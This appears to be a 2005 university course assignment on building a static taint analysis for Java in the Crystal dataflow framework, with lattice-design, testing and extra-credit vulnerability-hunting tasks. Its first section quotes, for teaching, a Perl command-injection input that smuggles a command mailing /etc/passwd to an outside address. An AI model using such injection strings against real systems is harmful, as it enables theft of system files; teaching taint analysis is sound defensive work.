Project 2:
Tainted Dataflow Analysis

17-654/17-754: Analysis of Software Artifacts
Jonathan Aldrich (jonathan.aldrich@cs.cmu.edu)

Out: Thursday, February 28, 2005
Due: Thursday, March 17, 2005 (11:59 pm)

100 points total

The goals of this project are to write a dataflow analysis that can identify possible security vulnerabilities based on passing data from an untrusted source to system functions without validating the data's format. You will design a lattice, implement it in the Crystal dataflow framework, and implement transfer functions. Your analysis will be intra-procedural, and will rely on method annotations in order to provide whole-program assurances. You will run your analysis on a simple test program, as well as a real Java servlet application that has a fault seeded in it.

Pairs. You may work on this programming project in pairs. Pair projects will be given a single grade. You are free to choose your own partner, subject to one constraint: the instructors reserve the right to assign pairs in the case that students lacking significant previous Java experience are unable to find a more experienced partner. Please be sensitive to this criterion as you pair up.

Collaboration Policy. It is permitted to discuss the homework problems in general terms, to study together, to help each other with notation, and to communicate clarifications from the instructor and TAs. It is *not* permitted to discuss specific answers to homework, or to look at another student's solution. Partners working in pairs should share the workload equally and ensure they are both familiar with all of the material. *This policy will apply to all future assignments (although not all future assignments will necessarily be done in pairs).*

Hand-in Instructions. Similar to Project 0 and 1. Use blackboard to hand in the following as a zip file:

1. `readme.txt` or `readme.pdf`: A readme file that (a) lists the partners if you are working in pairs, (b) describes your lattice, and (c) explains and justifies the assumptions you make about unannotated code.
2. `src` directory: All Java files that were added or modified for all parts of this assignment
3. `unannotated-output.txt`: The output of your analysis for the test file on the unannotated test file
4. `annotated-output.txt`: The output of your analysis for the test file on the annotated test file
5. `guestbook` directory: The Guestbook source code with your annotations
6. `guestbook-output.txt` The output of your analysis on the Guestbook source code
7. `extracredit` directory: Any files for the extra credit part of the assignment.

1 Tainted Analysis Design (20 points)

The Perl interpreter has an option to run in *taint mode*. This mode esentially does a dynamic analysis. It keeps track of any user input data, which is considered untrusted or *tainted*. If this data is ever passed to an "unsafe" operation, the Perl interpreter will halt with an error message. The most obviously unsafe operation is system(), which executes an arbitrary command, but other system calls like unlink and rename are also potentially dangerous.

It's important to note that it's also unsafe to combine user data with some other information and then call a system call. For example, if you execute the mail program, passing it an email address provided by the user, as follows:

```
system("mail " .  $form_data{"email"});
```

Imagine what could happen if the user enters an email address that looks like:

```
me@mydomain.com; mail hacker@hack.net < /etc/passwd
```

This example is from http://gunther.web66.com/FAQS/taintmode.html, which has a nice summary of Perl's tainted analysis.

What if you have to perform an unsafe operation that depends on user data? Perl requires you to pattern match over the user data, thus validating its format. This is not a perfect check, of course–if the pattern you are matching is not specific enough, it could let some dangerous strings go by. However, it does eliminate the vast majority of simple security errors that crop up in Perl scripts.

Unfortunately, Perl's taint mode checks for taintedness dynamically. This means that if your Perl script does not properly validate user input, it will break when run in taint mode, *even if the user passes perfectly good input to it!* A better solution would be to check for taintedness statically. That way, you can be sure that the script properly checks the format of user input, so that it will not fail at run time when passed good input, and will fail gracefully when passed unsafe input.

In this assignment, your task is to implemented a tainted analysis for Java. The goal of your analysis is to track, at each program point, what variables and expressions might hold tainted data, and warn the user if an untainted variable is assigned a tainted expression. This assignment could happen one of three ways: assigning a tainted expression to an untainted field, returning a tainted expression from a function whose return value is annotated untainted, and calling a function that has an untainted argument with a tainted expression as the actual argument value.

(10 points) Assume you have two annotations available: @tainted and @notTainted. In your readme file, describe the lattice that you will use to track taintedness (use words like "subset lattice", "superset lattice", "custom lattice (describe it)" or "tuple lattice where the underlying primitive lattice looks like ___".

(10 points) Also in the readme file, describe how you will interpret variables without any annotation. Why did you make the choice you did? Think of what will make someone using your analysis most productive.

2 Tainted Analysis Implementation (40 points)

Implement your analysis in the Crystal plugin. To get you started, the code for a reaching definitions analysis is provided in the zipped-up project demo-crystal.zip. This project also has a driver, Proj0Analysis.java, like the one you used for earlier projects. You will need to download the latest version of the Crystal plugin (1.0.7 or later) in order to get the dataflow analysis code.

You must implement flow functions for the methods `concat` and `matches`

of class `String`. As in Perl, the result of concatenating two strings is tainted if either of the input strings were. If the user matches a string against a regular expression, that string is considered untainted from then on. Constant strings are not tainted.

Use the functions hasTainted and hasNotTainted in the interfaces IParameter and IField to get information about the annotations in the program.

You do *not* need to implement a flow-sensitive analysis–for example, if there is an if statement testing whether a string matches a regular expression, you do not have to keep track of the fact that on one branch of the if statement the string is tainted and on the other end it is untainted. Instead, you may assume the string is untainted on both branches. You can, however, figure out how to get flow-sensitivity for extra credit (see below).

Also, you do *not* need to implement flow functions for the other methods of `String`. A real analysis would certainly do so, however, and there is a small amount of extra credit available for doing this.

3 Tainted Analysis Test (20 points)

Test your analysis on the provided file TaintedExample.java. There are two versions: one with only "library code" annotated and one with annotations on all code. Give your output for each version of the file in `unannotated-output.txt` and `annotated-output.txt`, respectively.

We do not dictate the exact output of your analysis, but leave that up to you. For full credit, your output for the unannotated code should signal places where there are possible errors and the user needs to add annotations to determine whether these are true errors. Your output for the annotated code should not include any error messages. Informational messages are OK in both cases as long as they do not obscure the main result of the analysis.

4 Tainted Analysis Application (20 points)

Apply your analysis to the CS Guestbook application. Incrementally add annotations to the source code until you identify the fault we injected into the code. Turn in the source code with your added annotations, as well as the output of your analysis. For full credit, your analysis output should not warn of any spurious errors, but should clearly identify the actual error. As above, information messages and messages suggesting that the user add

additional annotations are acceptable as long as they do not obscure the main points above.

To annotate a field as tainted or untainted, put @tainted or @notTainted in a javadoc comment just before the field. The same goes for annotating method return values. To annotate the parameter of a method as being tainted or not, follow @tainted with the name of the parameter.

Note that the CS Guestbook comes with XML files that document annotations for some functions in the standard library. This is necessary since we don't have the library source code. You do not have to modify the XML, though.

5 Extra Credit Opportunities

(up to 10 points) Extend your analysis to be industrial-strength. Implement flow functions for the methods of String and StringBuffer. Make your analysis flow-sensitive, so that if you test whether one string matches regular expression in an if statement (or you test that they do *not* match), the string is assumed to be tainted in one branch of the if and untainted in the other branch.

(up to 20 points) Find an interesting program on the internet and apply your analysis to it (warning–you probably need to make it industrial strength first, otherwise this won't be very interesting). Report the annotations you add (you should add enough to either find a bug or eliminate your analysis warnings) and the results of your analysis on the annotated code. Credit will vary according to how interesting the program and your annotations are. More interesting programs are larger and more widely-used. Also, your program *must* require some annotations, and make some use of untrusted user input and unsafe system operations to get any credit for this part. If the user input or unsafe operations are different from those in the CS Guestbook, you should provide the annotations (in an XML file if you can't annotate the source code) documenting what these operations are.

(up to 80 points) Yes, we're serious about 80 points of extra credit, because this one is hard, and finding one of these would make this assignment much more exciting next year. Use your analysis to find an exploitable security vulnerability in some Java program on the internet. To get full credit, the program must be (a) sufficiently interesting (see above), (b) the bug must not be seeded by you or anyone else, (c) you must demonstrate that the bug is exploitable by running the program and showing the exploit,

(d) you must give the URL to the original code, and (e) you must document your application of your analysis as above. Partial credit will be given at the instructors' discretion if you fulfil only some of these requirements (the bug can't be seeded under any circumstances, though).

The 80 points will be split among the teams that collaborate to find the exploit, and for each program found, the points will be given to only the first group to find the program (as documented by an email to the instructor and TAs, with the name of the program and the name of everyone in the group that found it). So if one team of two finds it, the students on the team will get 80 points each. It is acceptable to work together in larger groups on this extra credit problem only, but the amount of credit will be decreased according to the number of people in the group (e.g. 4 people working together will get 40 points each). The reason for this rule is that it would be unreasonable (though undoubtedly nice from the student perspective) to give 80 points of extra credit to the entire class, unless every team independently finds different applications with security holes.

6 Guidelines on using Crystal's dataflow analysis framework

Javadoc documentation for Crystal is now in the doc subdirectory of the demo-crystal project.

The Crystal flow-graph has no basic blocks (if you're familiar with the compiler literature; if not, don't worry, Crystal is just like the textbook). Instead, the flow graph simply threads together the individual IAstNodes in the correct order.

You build a Flow analysis in 3 steps.

1: Define your Lattice.

The Crystal ICrystalLattice type is similar, but not identical, to the lattices we have studied in class. In particular, the ICrystalLattice type in Crystal can be implemented as a simple lattice, as a tuple-lattice, or any other form of lattice needed to implement your analysis. You will subclass ICrystalLattice as needed for your particular analysis.

One extremely important invariant that is required for all ICrystalLattices is that they MUST be immutable. Once created, no individual ICrystalLattice object may ever change in any way.

This means that any operations taking a Lattice as an argument and returning a ICrystalLattice as a result must return a brand-new Lattice if any

part of the Lattice value has changed. This immutability allows the underlying implementation to share the values of Lattices for all cases where the ICrystalLattice value did not change. Violate this invariant at your peril! When I first worked with this flow analysis package I spent weeks (really!) trying to find a mysterious bug that was causing incorrect analysis results. It turned out that I had not strictly enforced immutability of my ICrystalLattices. Learn from my mistake. You may find the Immutable Collections package we provide to be a useful aid in implementing your immutable ICrystalLattice.

The methods you must implement for the ICrystalLattice interface are top(), bottom(), join(ICrystalLattice other), and atLeastAsPrecise(ICrystalLattice other). Top and bottom should return the unique and immutable top and bottom values for your ICrystalLattice.

Join is the join operator we've studied in class, extended to handle whatever sort of ICrystalLattice implementation your analysis uses. For example, if your ICrystalLattice implementation uses a List of tuples of (variable, lattice) ($\Leftarrow$ note the little-L on lattice here! I mean the kind of lattice we've studied in class) you must generalize your join operator to do right by Lists of tuples...

atLeastAsPrecise provides a partial ordering on ICrystalLattices. Note also that the equals method will be used to test equality on ICrystalLattices, so you'd better implement it too.

You will find an example compound lattice in the new demo-crystal project. ReachingDefs implements ICrystalLattice, using SimpleSetLattice (which also implements ICrystalLattice) as a sub-lattice for each variable.

2: Define your transfer functions.

You'll subclass either JavaForwardTransfer or JavaBackwardTransfer depending on your analysis. Whichever you use, you'll need to over-ride the transfer functions for the IAstNodes that are important to your analysis. A few tricky issues you should consider:

2.a) Each transfer function is invoked with a ICrystalLattice argument. You should assume that the ICrystalLattice passed in is of exactly your lattice type.

2.b) If your transfer function needs to "update" the lattice, remember that you must produce an ALL NEW lattice in order to maintain the immutability invariant!

2.c) Some analyses may require different answers for the transfer functions for operations that may throw an exception. For example, transferCall takes a boolean flag as one of its arguments. This flag is used to indicate

whether the analysis is considering normal return from the call (flag==true) or exceptional return from the call (flag==false). Transfer functions with "Failed" in their name are invoked for the control-flow path representing a thrown exception. If your analysis involves one or more of these operations, make sure you carefully consider both the normal and exceptional cases.

2.d) Don't worry about how and when your transfer functions are called. The Flow Analysis support takes care of building the call graph and invoking your transfer functions on the correct IAstNodes. It also invokes join, atLeastAsPrecise, and equals at the right places.

3: Implement your analysis driver

You'll simply visit each method you wish to analyze, create a new MyAnalysis instance, and then traverse the method asking for analysis results. The framework will take care of managing your work-list, and making sure that the analysis is invoked in order to provide you with the answers you request. Look at the sample ReachingDefinitions classes to see how this is done.

Notes:

1. Look at the sample ReachingDefinitions classes for a guide to framework usage. Your analysis will differ in details (union vs. intersection, forward vs. backward, Set vs. List vs. compound vs. whatever lattice, etc.), but the overall structure of the provided ReachingDefinitions classes is what you are shooting for.

2. Observe that class ReachingDefs provides methods that interpret lattice values into meaningful predicates. This is a good pattern. You should follow it.

3. Really REALLY make sure that your lattices are immutable. Getting this wrong will cause you a world of hurt. See either or both of ReachingDefs and/or SimpleSetLattice to see how this works.

4. Remember that SimpleSetLattice IS NOT A GENERAL Set LATTICE!!! It has been customized to meet the needs of ReachingDefs. Should you decide that you need a Set Lattice of your own, you will need to revisit all the key decisions:

* What goes in the sets?
* What is top?
* What is bottom?
* Does your analysis need to look at the set for top? for bottom?
* What should the join operation be?
* What should the implementation of includes look like?

These are the same questions you need to ask about any lattice. The point I'm trying to make here is that the choices made in SimpleSetLattice and ReachingDefs may or may not be the choices that will be right for your homework. These classes are a guide, not a solution!

5. The Immutable Collections require that all objects you put into them implement the Comparable interface.